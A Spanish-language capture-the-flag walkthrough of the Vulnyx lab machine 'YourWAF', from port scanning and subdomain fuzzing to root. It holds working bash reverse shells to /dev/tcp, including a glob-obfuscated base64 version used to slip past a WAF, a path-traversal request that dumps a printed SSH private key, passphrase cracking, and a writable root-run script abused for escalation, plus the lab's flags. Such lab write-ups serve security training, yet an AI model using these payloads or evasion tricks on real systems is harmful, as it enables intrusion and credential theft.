YourWAF Vulnyx (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 06:33 EDT
Nmap scan report for 192.168.5.98
Host is up (0.00055s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 1c:ec:5c:5b:fd:fc:ba:f3:4c:1b:0b:70:e6:ef:bf:12 (ECDSA)
|_ 256 26:18:c8:ec:34:aa:d5:b9:28:a1:e2:83:b0:d3:45:2e (ED25519)
80/tcp open http Apache httpd 2.4.59 ((Debian))
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.59 (Debian)
3000/tcp open http Node.js (Express middleware)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 08:00:27:E8:82:66 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.34 seconds
Veremos varios puertos interesantes, entre ellos el puerto 3000
y el 80
, si entramos en el puerto 80
veremos que hace el intento de cargar una pagina web, pero requiere de un dominio
llamado www.yourwaf.nyx
por lo que vamos añadirlo a nuestro archivo hosts
.
nano /etc/hosts
#Dentro del nano
<IP> yourwaf.nyx www.yourwaf.nyx
Lo guardaremos, ahora si entramos de la siguiente forma a la pagina:
URL = http://www.yourwaf.nyx/
Veremos una pagina normal aparentemente de un servicio que proporciona un WAF
web, por lo que vamos a realizar un poco de fuzzing
a ver que encontramos.
FFUF
Si listamos los subdominios
que pueda tener dicho dominio
podremos encontrar lo siguiente:
ffuf -u http://yourwaf.nyx/ -w <WORDLIST> -H "Host: FUZZ.yourwaf.nyx" -H "User-Agent: Netscape" -fs 0
Info:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://yourwaf.nyx/
:: Wordlist : FUZZ: /home/kali/Downloads/subdomains-top1million-5000.txt
:: Header : User-Agent: Netscape
:: Header : Host: FUZZ.yourwaf.nyx
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________
www [Status: 200, Size: 10722, Words: 3594, Lines: 171, Duration: 33ms]
maintenance [Status: 200, Size: 292, Words: 58, Lines: 14, Duration: 194ms]
WWW [Status: 200, Size: 10722, Words: 3594, Lines: 171, Duration: 82ms]
:: Progress: [4997/4997] :: Job [1/1] :: 337 req/sec :: Duration: [0:00:18] :: Errors: 0 ::
Veremos que hemos descubierto un subdominio
nuevo, por lo que vamos añadirlo a nuestro archivo hosts
.
nano /etc/hosts
#Dentro del nano
<IP> yourwaf.nyx www.yourwaf.nyx maintenance.yourwaf.nyx
Lo guardamos y entraremos en dicho subdominio
a ver que vemos.
URL = http://maintenance.yourwaf.nyx/
Info:

Veremos que es una pagina para ejecutar comandos, si probamos un simple id
veremos lo siguiente:
## id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Pero si probamos un ls -la
:
Forbidden
You don't have permission to access this resource.
---
Apache/2.4.59 (Debian) Server at maintenance.yourwaf.nyx Port 80
Veremos que nos bloquea
el comando compuesto, por lo que vamos a probar a bypassear
estos comandos, para intentar realizar una reverse shell
.
Escalate user www-data
Vamos a probar a codificar el comando de la reverse shell
muy ofuscado
para ver si se lo traga.
echo 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1' | base64
/bin/echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuNTAvNzc3NyAwPiYxCg==' | base64 -d | /bin/bash -e # Pero lo codificamos con sustitucion
/???/e??o 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuNTAvNzc3NyAwPiYxCg==' | /???/b??e64 -d | /???/b??h -e
Antes de enviarlo vamos a ponernos a la escucha:
nc -lvnp <PORT>
Ahora si enviamos el comando anterior y volvemos a donde tenemos la escucha, veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.98] 52214
bash: cannot set terminal process group (530): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yourwaf:/var/www/maintenance.yourwaf.nyx$ whoami
whoami
www-data
Veremos que ha funcionado, por lo que vamos a sanitizar la shell
.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user tester
Si investigamos un poco, veremos un archivo bastante interesante del servidor web con el que esta funcionando.
cd /opt/nodeapp
Dentro veremos un archivo llamado server.js
que pone lo siguiente:
const express = require('express')
const { exec } = require('child_process');
var path = require('path');
const app = express()
const port = 3000
const apiToken = '8c2b6a304191b8e2d81aaa5d1131d83d';
function checkApiToken(req, res, next) {
let sendApiToken = req.query["api-token"] ?? '';
if (apiToken !== sendApiToken) {
res.send("Unauthorized.")
return;
}
next();
}
app.use('/logs', (req, res) => {
let path_to_file = __dirname + '/logs/modsec_audit.log'
res.sendFile(path_to_file)
})
app.get('/', checkApiToken, (req, res) => {
res.send('API de mantenimiento!');
})
app.get('/restart', checkApiToken, (req, res) => {
exec('reboot', (error, stdout, stderr) => {
if (error) {
res.send(`exec error: ${error}`)
return;
}
res.send('Restarting server...');
});
})
app.get('/readfile', checkApiToken, (req, res) => {
let file = req.query["file"] ?? '';
if (file === '') {
res.send('Error: need file')
return;
}
if (file.indexOf('passwd') !== -1) {
res.send('ForbiddenError: Forbidden')
return;
}
let path_to_file = __dirname + file
res.sendFile(path.resolve(path_to_file))
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
Veremos algo interesante y es que estamos viendo el TOKEN
de la pagina, junto con el parametro /readfile
que es interesante de nombre, si vemos como funciona veremos que lee archivos a nivel de sistema, por lo que vamos a probar lo siguiente:
curl 'http://www.yourwaf.nyx:3000/readfile?api-token=8c2b6a304191b8e2d81aaa5d1131d83d&file=../../../../etc/passwd'
No va a dar un forbidden
por lo que no podremos leer ese archivo, despues de buscar un rato, probamos a realizar lo siguiente:
curl 'http://www.yourwaf.nyx:3000/readfile?api-token=8c2b6a304191b8e2d81aaa5d1131d83d&file=../../../../home/tester/.ssh/id_rsa'
Info:
-----BEGIN OPENSSH PRIVATE KEY-----
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
NOmwKPWS5rqFofpdCmmz/n4nRNM=
-----END OPENSSH PRIVATE KEY-----
Vemos que obtenemos el id_rsa
del usuario tester
por lo que vamos a realizar lo siguiente:
chmod 600 id_rsa
ssh -i id_rsa tester@<IP>
Nos pedira la contraseña del id_rsa
por lo que vamos a probar a crackearlo
de esta forma:
ssh2john id_rsa > hash.ssh | john --wordlist=<WORDLIST> hash.ssh
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 6 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
wafako (id_rsa)
1g 0:00:02:42 DONE (2025-09-11 08:34) 0.006168g/s 56.55p/s 56.55c/s 56.55C/s okokok..pajarito
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Veremos que lo ha crackeado
por lo que vamos a utilizarlo de esta forma:
ssh -i id_rsa tester@<IP>
Metemos como contraseña wafako
...
Con esto veremos que estaremos dentro, por lo que leeremos la flag
del usuario.
user-afa83c8bac2338a439766f22e8245636.txt
32056d6dd51c2bb5ef2a002c546cc255
Escalate Privileges
Si volvemos donde esta la informacion de la aplicacion en el /opt
acordemonos de que vimos un archivo que podia ser editable por el grupo llamado copylogs
y si hacemos id
:
uid=1000(tester) gid=1000(tester) grupos=1000(tester),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1001(copylogs)
Veremos que pertenecemos a dicho grupo, por lo que podremos realizar lo siguiente.
copylogs.sh
#!/bin/bash
# Copia de logs de modsecurity cada 10 sec
cp /var/log/apache2/modsec_audit.log /opt/nodeapp/logs
ecosystem.config.js
module.exports = {
apps : [{
name : "Tester server",
script : "./server.js",
exec_mode: 'fork'
},{
name : "Copy logs",
restart_delay: 10000,
interpreter: '/bin/bash',
script: "./copylogs.sh"
}]
}
Por lo que vemos en estos archivos el primero lo podemos editar y el segundo nos esta dando la informacion de que dicho archivo que podemos editar se ejecuta cada 10 segundos por el servidor que se esta ejecutando como root
, por lo que vamos añadir la siguiente linea al archivo .sh
.
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
Añadida esta linea, vamos a ponernos a la escucha rapidamente:
nc -lvnp <PORT>
Ahora si esperamos un rato, y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7755 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.98] 52466
bash: no se puede establecer el grupo de proceso de terminal (3044): Función ioctl no apropiada para el dispositivo
bash: no hay control de trabajos en este shell
root@yourwaf:/opt/nodeapp# whoami
whoami
root
Por lo que vemos seremos root
, por lo que leeremos la flag
de root
.
root-e765ca897810e6e2da0e594113bfe9b3.txt
a86f99d5be34faec32e3cfd477a8a282
Last updated